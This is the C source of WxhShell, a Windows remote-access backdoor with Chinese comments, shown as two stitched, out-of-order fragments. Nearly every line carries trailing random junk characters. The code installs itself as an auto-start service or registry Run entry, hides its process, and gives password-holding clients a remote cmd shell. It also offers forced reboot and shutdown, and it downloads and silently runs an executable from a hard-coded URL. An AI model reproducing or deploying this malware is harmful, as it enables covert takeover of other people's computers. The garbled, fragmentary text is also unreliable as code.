    else { rTjV/~  
    closesocket(wsh); P:y M j&)  
    ExitThread(0); @cZNoD  
    } sX,oJIt  
    break; OQON~&~  
    } #:?vpV#i  
  // 关机 vxzOG?Xc:  
  case 'd': { %vO b"K$X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S:GX!6>  
    if(Boot(SHUTDOWN)) agFWye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w XXx=Xf  
    else { NK+iLXC  
    closesocket(wsh); *gC6yQ2?  
    ExitThread(0); "7pd(p *C  
    } NQ@."8  
    break; zl j%v/9  
    } \P_1@sH=  
  // 获取shell <Vk^fV  
  case 's': { L;0ZB=3n  
    CmdShell(wsh);  `Up Zk?k  
    closesocket(wsh); Ncu\;K\N  
    ExitThread(0); bb6J$NR  
    break; r~uWr'}a}  
  } X#mppMU  
  // 退出  ajayj|h  
  case 'x': { o5\nqw^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &z r..i4O  
    CloseIt(wsh); Oi=>Usd  
    break; [*O#6Xu  
    } j|&?BBa9  
  // 离开 eXI^9uH  
  case 'q': { dD3I.?DY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 37wm[ Z  
    closesocket(wsh); 9i8D_[  
    WSACleanup(); cZN+D D  
    exit(1); \ qc 8;"@  
    break; is%qG?,P  
        } z6 v RTY  
  } t,;1?W#  
  } z./M^7v?  
1q*85 [Y  
  // 提示信息 ;SF0}51  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9KVeFl  
} #e0tT+  
  } zm}4=Kz}  
-Rhxib|<  
  return; ^.F@yo2}  
} W xyQA:3s  
tnz BNW8  
// shell模块句柄 Ep0L51Q  
int CmdShell(SOCKET sock) /_?E0 r  
{ ` !HGM>  
STARTUPINFO si; >b#z o,  
ZeroMemory(&si,sizeof(si)); .!Kdi|a)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HHD4#XcU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W?!(/`J]  
PROCESS_INFORMATION ProcessInfo; KP7bU9odJ  
char cmdline[]="cmd"; g6$X {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S=^yJ6 xJ  
  return 0; n *%<!\gJ  
} o;mXk2  
6#O n .Q  
// 自身启动模式 0O?B!Jr]RM  
int StartFromService(void) !SIGzj  
{ X~Uvh8O  
typedef struct WEUr;f  
{ 8zGe5Dn9  
  DWORD ExitStatus; EXg\a#4['  
  DWORD PebBaseAddress; _CP e  
  DWORD AffinityMask; B=#rp*vwL  
  DWORD BasePriority; Y:]~~-f\~  
  ULONG UniqueProcessId; T{bM/?g  
  ULONG InheritedFromUniqueProcessId; x`w 4LF  
}   PROCESS_BASIC_INFORMATION; ZrnZ7,!@  
[kgT"?w=  
PROCNTQSIP NtQueryInformationProcess; *@l NL=%R  
Ooz+V;#Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )MLOYX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q"'^W<i  
JJq= {;  
  HANDLE             hProcess; cUaLv1:HI  
  PROCESS_BASIC_INFORMATION pbi; "8J$7g@n@  
tS8*l2Y`   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gAC}  
  if(NULL == hInst ) return 0; b{s_cOr/  
x:O?Fj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z,qo jtw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Tg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %F9% t  
2J^6(vk  
  if (!NtQueryInformationProcess) return 0; Z_D8}$!  
FJKt5}`8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Am%zEt$c  
  if(!hProcess) return 0; QQ!%lbMK]  
>5#`j+8=q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {f3)!Pei`J  
_+N*4  
  CloseHandle(hProcess); 2[LT!TT  
+|).dm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U_m<W$"HF  
if(hProcess==NULL) return 0; ooref orr  
u^|XQWR$:  
HMODULE hMod; 4~hd{8  
char procName[255]; LpeQx\  
unsigned long cbNeeded; jn>3(GRGC$  
ez&v"J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Bi>$Ly  
)TFaG[tj  
  CloseHandle(hProcess); XU5/7 .  
Cy4@\X%W  
if(strstr(procName,"services")) return 1; // 以服务启动 di>"\On-  
9e^[5D=L  
  return 0; // 注册表启动 (Ybc~M)z  
} thDQ44<#)  
nZ>qM]">u  
// 主模块 &Vg+n 0  
int StartWxhshell(LPSTR lpCmdLine) tm@&f  
{ eZIqyw  
  SOCKET wsl; M9HM:  
BOOL val=TRUE; AIR,XlD  
  int port=0; n'9Wl'  
  struct sockaddr_in door; MzL^u8  
K>l$Y#x}k  
  if(wscfg.ws_autoins) Install(); UX;?~X  
7/a[;`i*!  
port=atoi(lpCmdLine); yhJH3<  
NE,2jeZQ.  
if(port<=0) port=wscfg.ws_port; ynvU$}w ~'  
ri1D*CS  
  WSADATA data; Q&@Ls?pu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z,)4(#b =  
? [l[y$9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9+ nB;vA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O`Er*-O  
  door.sin_family = AF_INET; Yrs7F.Y"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Bvi2 3  
  door.sin_port = htons(port); @X+m,u  
dIg/g~ t"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kfr' P u  
closesocket(wsl); a\>+!Vq  
return 1; _v bCC7Bf8  
} C-E~z{  
r&oR|-2hRk  
  if(listen(wsl,2) == INVALID_SOCKET) { 4l7TrCB  
closesocket(wsl); EudX^L5U<d  
return 1;  (-Cxv`7  
} 7/+I"~  
  Wxhshell(wsl); N;4bEcWjp  
  WSACleanup(); 0gO_dyB  
n75)%-  
return 0; TwlX'iI_;  
3 9to5 s,  
} 3n;>k9{  
L#O1 >  
// 以NT服务方式启动 \ne1Xu:hM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5{Q5?M]  
{ E@ J/_l;  
DWORD   status = 0; 7]W6\Z  
  DWORD   specificError = 0xfffffff; :No`+X[Kq  
01=nS?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q2yD4>qy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H3-(.l[!b)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WX .Ax$fT  
  serviceStatus.dwWin32ExitCode     = 0; Em)U`"j/9  
  serviceStatus.dwServiceSpecificExitCode = 0; j5m KJC  
  serviceStatus.dwCheckPoint       = 0; 9d&@;&al  
  serviceStatus.dwWaitHint       = 0; JguPXHa0  
>[}lC7 z,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Q $}LR@  
  if (hServiceStatusHandle==0) return; `_aX>fw  
F<.oTP-B  
status = GetLastError(); Y TpiOPf  
  if (status!=NO_ERROR) DW( /[jo\  
{ O6*2oUKqK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n(I,pF  
    serviceStatus.dwCheckPoint       = 0; `%QXaKO-  
    serviceStatus.dwWaitHint       = 0; "<Ozoo1&w  
    serviceStatus.dwWin32ExitCode     = status; P:D;w2'Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; YRg"{[+#]k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .~$!BWP  
    return; Fn>KdoByN  
  } Ri>4:V3K  
;w/@_!~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R2Es~T  
  serviceStatus.dwCheckPoint       = 0; WwsH7X)  
  serviceStatus.dwWaitHint       = 0; 5(zdM)Y7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !3F3E8%  
} yPrF2@#XZ/  
g(_xo\  
// 处理NT服务事件,比如:启动、停止 IG+g7kDCY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K;z$~;F  
{ H;nEU@>"Z  
switch(fdwControl) |kY}G3/  
{ =yF]#>Ah  
case SERVICE_CONTROL_STOP: Hf /ZaBn  
  serviceStatus.dwWin32ExitCode = 0; CvHE7H|-{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :KmnwYm  
  serviceStatus.dwCheckPoint   = 0; X[<%T}s#  
  serviceStatus.dwWaitHint     = 0; 1=Z!ZY}}e  
  { p}oGhO&=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =oBlUE  
  } _tUh*"e&  
  return; aFaioE#h(  
case SERVICE_CONTROL_PAUSE: l`uI K.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (xfh 9=.  
  break; &szYa-K*  
case SERVICE_CONTROL_CONTINUE: H;R~d%!b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fat;5XL@  
  break; @U3:9~Q  
case SERVICE_CONTROL_INTERROGATE: }DQTy.d;P  
  break; G6QD`ED  
}; M8V c5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SRtw  
} HfZ^ED"}  
"OwK-  
// 标准应用程序主函数 nY7gST  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M^*\ $K%  
{ +OqEe[Wk#  
l\F71pwSI  
// 获取操作系统版本 eT Fep^[  
OsIsNt=GetOsVer(); [GPCd@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U shIQh  
$*VZa3B\  
  // 从命令行安装 6DU~6c=)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZNne 8  
(i L*1f   
  // 下载执行文件 ufCpX>lNF  
if(wscfg.ws_downexe) { Vpne-PW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =&6sU{j*  
  WinExec(wscfg.ws_filenam,SW_HIDE); n$N$OFuO  
} ^B0Qk:%P^N  
HCsd$M;Hbv  
if(!OsIsNt) { tAE(`ow/Ur  
// 如果时win9x,隐藏进程并且设置为注册表启动 aZ$5"  
HideProc(); BPa,P_6(  
StartWxhshell(lpCmdLine); ]=VRct "  
} ;W+8X-B  
else I 1n,c d[  
  if(StartFromService()) 'da 'WZG  
  // 以服务方式启动 pmUf*u-  
  StartServiceCtrlDispatcher(DispatchTable); d&CpaOSu  
else `3 i<jZMG  
  // 普通方式启动 ,cL;,YN  
  StartWxhshell(lpCmdLine); 2,dWD<h  
x&*f5Y9hCi  
return 0; `<yQ`Y_X  
} =/_uk{  
9Q^cE\j  
,[IDC3.4^R  
&oMWs]0  
=========================================== Q&N#q53  
|4g0@}nr+W  
}dop]{RG  
w6Nn x5Ay  
,5"(m?[m  
G~o!u8^;  
" H)i|?3Ip  
QOo'Iv+EL  
#include <stdio.h> &n )MGg1%  
#include <string.h> E0R6qS:'  
#include <windows.h> r":anR( ;  
#include <winsock2.h> @U18Dj[  
#include <winsvc.h> 7M~sol[*  
#include <urlmon.h> w+>+hq  
jtlRom}  
#pragma comment (lib, "Ws2_32.lib") <BED&j!qvP  
#pragma comment (lib, "urlmon.lib") _ Lb"yug  
.dk<?BI#H  
#define MAX_USER   100 // 最大客户端连接数 itP`{[  
#define BUF_SOCK   200 // sock buffer ;o3gR4u_L  
#define KEY_BUFF   255 // 输入 buffer N"G aQ  
>i,_qe?V:w  
#define REBOOT     0   // 重启 >P SO]%mE  
#define SHUTDOWN   1   // 关机 tLWw< )t  
/W$i8g  
#define DEF_PORT   5000 // 监听端口 WN+i3hC  
GeTk/tU  
#define REG_LEN     16   // 注册表键长度 ##=$ $1Ki  
#define SVC_LEN     80   // NT服务名长度 X n$ZA-  
"vSKj/]  
// 从dll定义API iCF},W+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }I&.xzJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dHUbaf:e)T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nf0u:M"fm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYfOwV!zB  
tO 8\} u4c  
// wxhshell配置信息 G n]qh(N>  
struct WSCFG { JP5e=Z<  
  int ws_port;         // 监听端口 Zk%@GOu\  
  char ws_passstr[REG_LEN]; // 口令 Nv7-6C6<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8x U*j  
  char ws_regname[REG_LEN]; // 注册表键名 E7fQ9]  
  char ws_svcname[REG_LEN]; // 服务名 i]%f94  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d fj23+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /RxP:>hVv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aDK b78 1d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HE,L8S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yV!4Im.>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?eIb7O  
Hw]E#S  
}; {R!yw`#^B  
;o!p9MEpz;  
// default Wxhshell configuration sgp.;h'  
struct WSCFG wscfg={DEF_PORT, `F7]M  
    "xuhuanlingzhe", %xg+UW }  
    1, 0 N,<v7PX  
    "Wxhshell", (`.OS)&  
    "Wxhshell", [s>3xWZ+a  
            "WxhShell Service", @'R)$:I%L  
    "Wrsky Windows CmdShell Service", f8]sjeY  
    "Please Input Your Password: ", ! I@w3`  
  1, "CT}34l  
  "http://www.wrsky.com/wxhshell.exe", fHup&|.  
  "Wxhshell.exe" q H}8TC  
    }; Jj-\Eb?  
2tq2   
// 消息定义模块 + Q-b}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :<qe2Z5k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IL].!9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b/'bhE=  
char *msg_ws_ext="\n\rExit."; Ga7E}y%  
char *msg_ws_end="\n\rQuit."; &kg^g%%  
char *msg_ws_boot="\n\rReboot..."; $D^\[^S  
char *msg_ws_poff="\n\rShutdown..."; N(&{~*YE  
char *msg_ws_down="\n\rSave to "; kamQZzPe  
0\dmp'j]  
char *msg_ws_err="\n\rErr!"; J/je/PC  
char *msg_ws_ok="\n\rOK!"; FU3K?A B  
*-T.xo  
char ExeFile[MAX_PATH]; C?z S}ob  
int nUser = 0; v~nKO?{   
HANDLE handles[MAX_USER]; 2Vx4"fHP#N  
int OsIsNt; ]Y\$U<YjO  
g3tE.!a5-  
SERVICE_STATUS       serviceStatus; C*Vm}|)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0'Pjnk-i  
hd)Jq'MCS  
// 函数声明 Z=JKBoAY  
int Install(void); ],]Rv#`  
int Uninstall(void); WX&IQ@  
int DownloadFile(char *sURL, SOCKET wsh); u H[WlZ4  
int Boot(int flag); tdm7MPM  
void HideProc(void); 6 4_}"fU  
int GetOsVer(void); `OfhzOp  
int Wxhshell(SOCKET wsl); ,h*gd^i  
void TalkWithClient(void *cs); /q9I^ztV  
int CmdShell(SOCKET sock); yYCS-rF>  
int StartFromService(void); \dk1a  
int StartWxhshell(LPSTR lpCmdLine); "DW~E\Y  
X=sE1RB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qte5E}V`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E|@C:ghG  
WyO*8b_ D  
// 数据结构和表定义 OgF[=  
SERVICE_TABLE_ENTRY DispatchTable[] = Z<vz%7w  
{ h"`\'(,X  
{wscfg.ws_svcname, NTServiceMain}, ^#_gk uyd!  
{NULL, NULL} 8~'cP?  
}; %KQ1{"  
y3o q{Z>  
// 自我安装 K"!rj.Da  
int Install(void) I-#!mFl  
{ # &v4c  
  char svExeFile[MAX_PATH]; 8SjCU+V  
  HKEY key; ?0Q3F  
  strcpy(svExeFile,ExeFile); @yTu/U  
i /X3k&  
// 如果是win9x系统,修改注册表设为自启动 ,cxqr3 o  
if(!OsIsNt) { y_WC"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rc=E%Qv%?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }9@rhW  
  RegCloseKey(key); 7F"ljkN1S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { | R,dsBd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?'V78N sA  
  RegCloseKey(key); A;U c&G  
  return 0; lU1SN/'zx  
    } Sm/8VSY  
  } SzLlJUVX  
} ~A0AB `7  
else { "@x( 2(Y&  
`q}D#0  
// 如果是NT以上系统,安装为系统服务 U N?tn}`!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dX?j /M-  
if (schSCManager!=0) e{8C0=  
{ /M5.Z~|/  
  SC_HANDLE schService = CreateService s.z)l$  
  ( sX?arI=_U  
  schSCManager, | 6AR!  
  wscfg.ws_svcname, 0hS&4nW  
  wscfg.ws_svcdisp, h),;j`PrC  
  SERVICE_ALL_ACCESS, 4W>DW`{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B} qRz  
  SERVICE_AUTO_START, dwn|1%D  
  SERVICE_ERROR_NORMAL, (s'xO~p  
  svExeFile, "|6(.S+o  
  NULL, wo9R :kQ  
  NULL, U'jmgHq  
  NULL, c:${qY:!  
  NULL, Wi$?k {C  
  NULL R/{h4/+vJ  
  ); ^aaj=p:c V  
  if (schService!=0) {Lju7'5L  
  { [CHN3&l-5S  
  CloseServiceHandle(schService); HtN: v  
  CloseServiceHandle(schSCManager); 8h ol4'B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7:~3B-Tb  
  strcat(svExeFile,wscfg.ws_svcname); T:j41`g%s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0yjYjIk"T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^3HSw ?a"  
  RegCloseKey(key); E.#JCO|(1  
  return 0; K81FKV.  
    } @kd$.7Y9  
  } ?r;F'%N=  
  CloseServiceHandle(schSCManager); \1R*M  
} ~,W|i  
} V xN!Ki=  
Ps! \k%FUl  
return 1; `DSDuJw%  
} O-AC$C[d  
]_ LAy  
// 自我卸载 6heK8*.T  
int Uninstall(void) yJx,4be  
{ >>=zkPy  
  HKEY key; x>i =  
}T%E;m-  
if(!OsIsNt) { w^~s4Q_>>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Q- /O~  
  RegDeleteValue(key,wscfg.ws_regname); c7rC!v  
  RegCloseKey(key); UXa%$gwFw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j;Z hI y  
  RegDeleteValue(key,wscfg.ws_regname); SOD3MsAK  
  RegCloseKey(key); D$hK  
  return 0; be6`Sv"H  
  } {s@&3i?ZiC  
} _)CCD33$  
} Lxa<zy~b  
else { Mt4`~`6  
\KEmfCx'n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lz).=N}m  
if (schSCManager!=0) 0s4]eEXH  
{ TIV|7nKL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X?8bb! g%Q  
  if (schService!=0) BQMo*I>I  
  { 2$Z4 >!  
  if(DeleteService(schService)!=0) { ]VVx2ERs  
  CloseServiceHandle(schService); Zf)<)o*  
  CloseServiceHandle(schSCManager); i piS=  
  return 0; \a:-xwUu<  
  } ]xJ2;{JWsO  
  CloseServiceHandle(schService); $nthMx$  
  } N8wA">u  
  CloseServiceHandle(schSCManager); m]++ !  
} !O,`Z`T?  
} S?H qrf7<  
?cr^.LV|h^  
return 1; h>NuQo*  
} %Y].i/".;P  
4!+IsT  
// 从指定url下载文件 }5gQ dj[Y  
int DownloadFile(char *sURL, SOCKET wsh) S#D6mg$Z,  
{ kEdAt5/U{  
  HRESULT hr; v3/G.B@=  
char seps[]= "/"; :jWQev"/  
char *token; LwCf}4u"  
char *file; bq}o#d5p-_  
char myURL[MAX_PATH]; cr{f*U6`  
char myFILE[MAX_PATH]; "IdN*K  
_%aJ/Y0Cy  
strcpy(myURL,sURL); wtro'r3  
  token=strtok(myURL,seps); XCZNvLG  
  while(token!=NULL) i\k>2df  
  { )mXu{uowr  
    file=token; &14Er,K  
  token=strtok(NULL,seps); %wux#"8  
  } 6SD9lgF*-  
Z:%~Al:  
GetCurrentDirectory(MAX_PATH,myFILE); +,Z Q( ZW  
strcat(myFILE, "\\"); !.5,RIf  
strcat(myFILE, file); 7%^ /Jm  
  send(wsh,myFILE,strlen(myFILE),0); LZ*ZXFIg  
send(wsh,"...",3,0); 39,7N2uY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xkb\fR6<K  
  if(hr==S_OK) _QOZ`st  
return 0; ;l=ZW  
else .q (1  
return 1; =ET|h}I  
3At%TA:  
} b$1W>  
3N5b3F  
// 系统电源模块 A^"( VaK  
int Boot(int flag) V17SJSC-  
{ dJD8c 2G  
  HANDLE hToken; J9*$@&@S  
  TOKEN_PRIVILEGES tkp; gCY%@?YyN  
=6:>C9  
  if(OsIsNt) { `Kq4z62V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  - }9a%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K.K=\ Y2  
    tkp.PrivilegeCount = 1; 6Z3L=j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6#/v:;bF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xRM)f93@  
if(flag==REBOOT) { yJAz#~PO/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u =%1%p,  
  return 0; '9d] B^)F  
} i@p0Jnh|  
else { -kz9KGkPb+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ga1(T$ |H  
  return 0; Q,m1mIf  
} nL@(|nJ[  
  } OkaN VTB  
  else { ^TF71u o  
if(flag==REBOOT) { %DR8M\d1~H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W2F*+M  
  return 0; 8\ { 1y:|  
} !m<v@SmL\  
else { NP^j5|A*"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \DC0`  
  return 0; L|H:&|F  
} 2jiH&'@  
} 5.3=2/  
E +!A0!1  
return 1; BL^\"Xh$|  
} Uop`)  
mW&hUP Rx  
// win9x进程隐藏模块 &K.js  
void HideProc(void) Ufr,6IX  
{ 9`X}G`  
g#/"3P2 H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L.tW]43K  
  if ( hKernel != NULL ) f5ttQ&@FF  
  { yT<,0~F9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !5XH.DYq!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !xxdC  
    FreeLibrary(hKernel); bc}BQ|Q  
  } o;5ns  
WAqH*LB  
return; QRKr2:o{  
} /c:78@  
x=%wP VJ  
// 获取操作系统版本 EwX:^1f  
int GetOsVer(void) QopA'm  
{ O ! iN  
  OSVERSIONINFO winfo; .:/[%q{k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gHmy?+)  
  GetVersionEx(&winfo); *P0sl( &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sxzt|{  
  return 1; /k O <o&  
  else yYN_]& ag  
  return 0; fuao*L]  
} DICS6VG}  
hH_\C.bL  
// 客户端句柄模块 09J,!NN  
int Wxhshell(SOCKET wsl) KZ 4G"  
{ q"VC#9 7`  
  SOCKET wsh; |Ge!;v  
  struct sockaddr_in client; G2w0r,[  
  DWORD myID; g 9AA)Ykp  
r#B{j$Rw   
  while(nUser<MAX_USER) #{5h6IC  
{ I]Ws   
  int nSize=sizeof(client); eE" *c>I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FL[w\&fp  
  if(wsh==INVALID_SOCKET) return 1; z_%}F':  
]F sr k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R'$1,ie  
if(handles[nUser]==0) A'suZpL  
  closesocket(wsh); >:|jds#  
else (r/))I9^  
  nUser++; j`QXl  
  } zcOG[-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y$+_9VzYB  
wDKA1i%G  
  return 0; z'}z4^35,  
} Qn \=P*j  
dG)}H _  
// 关闭 socket TRFza}4:i  
void CloseIt(SOCKET wsh) X4/3vY  
{ QJ,~K&?  
closesocket(wsh); e7n` fEpO  
nUser--; `gdk,L]  
ExitThread(0); Q #p gl  
} ZmS ]4WM<  
1 }_"2  
// 客户端请求句柄 6t'vzcQs  
void TalkWithClient(void *cs) (S8hr,%n  
{ +@MG$*}Oz  
?GGBDql  
  SOCKET wsh=(SOCKET)cs; 7@Xi*Azd  
  char pwd[SVC_LEN]; QxiAC>%K  
  char cmd[KEY_BUFF]; h%]  D[g  
char chr[1]; j9|1G-CM  
int i,j; cD9.L  
a.up&g_$  
  while (nUser < MAX_USER) { D:XjJMW3r  
%)=c#H1  
if(wscfg.ws_passstr) { w%~Mg3|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F+9(*|x%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgN%vw pL  
  //ZeroMemory(pwd,KEY_BUFF); _@O.EksY3r  
      i=0; 8:k-]+#o  
  while(i<SVC_LEN) { Ex5 LhRe>=  
Nx<fj=VJ  
  // 设置超时 3u4P [   
  fd_set FdRead; JxQGL{) >  
  struct timeval TimeOut; moE!~IroG  
  FD_ZERO(&FdRead); ;& zBNj  
  FD_SET(wsh,&FdRead); AX6l=jFZx  
  TimeOut.tv_sec=8; S{UEV7d:n0  
  TimeOut.tv_usec=0; _aw49ag;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QVe<Z A8N;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +z+u=)I  
Cg]S`R-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *u!l"0'\  
  pwd=chr[0]; ~;I'.TW  
  if(chr[0]==0xd || chr[0]==0xa) { @O HsM?nW  
  pwd=0; te&p1F  
  break; MG4(,"c!  
  } _nec6=S6(  
  i++; rXVR X#Lh  
    } \+)AQ!E  
1Wz5Iv#Ez  
  // 如果是非法用户,关闭 socket gk4DoOj#P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "*N]Y^6/A  
} 9C|-|mo  
,<fs+oi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L4{+@T1A[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +kT o$_Wkz  
V0y_c^x  
while(1) { % r0AhWv  
3.@ir"vy  
  ZeroMemory(cmd,KEY_BUFF); CwsC)]{/o  
zX&wfE8T  
      // 自动支持客户端 telnet标准   9tIE+RD  
  j=0; jWh}cM=  
  while(j<KEY_BUFF) { =p&uQ6.i+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K(Ak+&[  
  cmd[j]=chr[0]; 4?l:.\fB:  
  if(chr[0]==0xa || chr[0]==0xd) { Pi=B\=gs  
  cmd[j]=0; pGsu#`t  
  break; E 7"`D\*  
  } @!%HEs!# #  
  j++; xd^9R<  
    } N|asr,  
;a`I8Fj  
  // 下载文件 !p(N DQm  
  if(strstr(cmd,"http://")) { S3?U-R^`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qfyuq]  
  if(DownloadFile(cmd,wsh)) #80M+m  
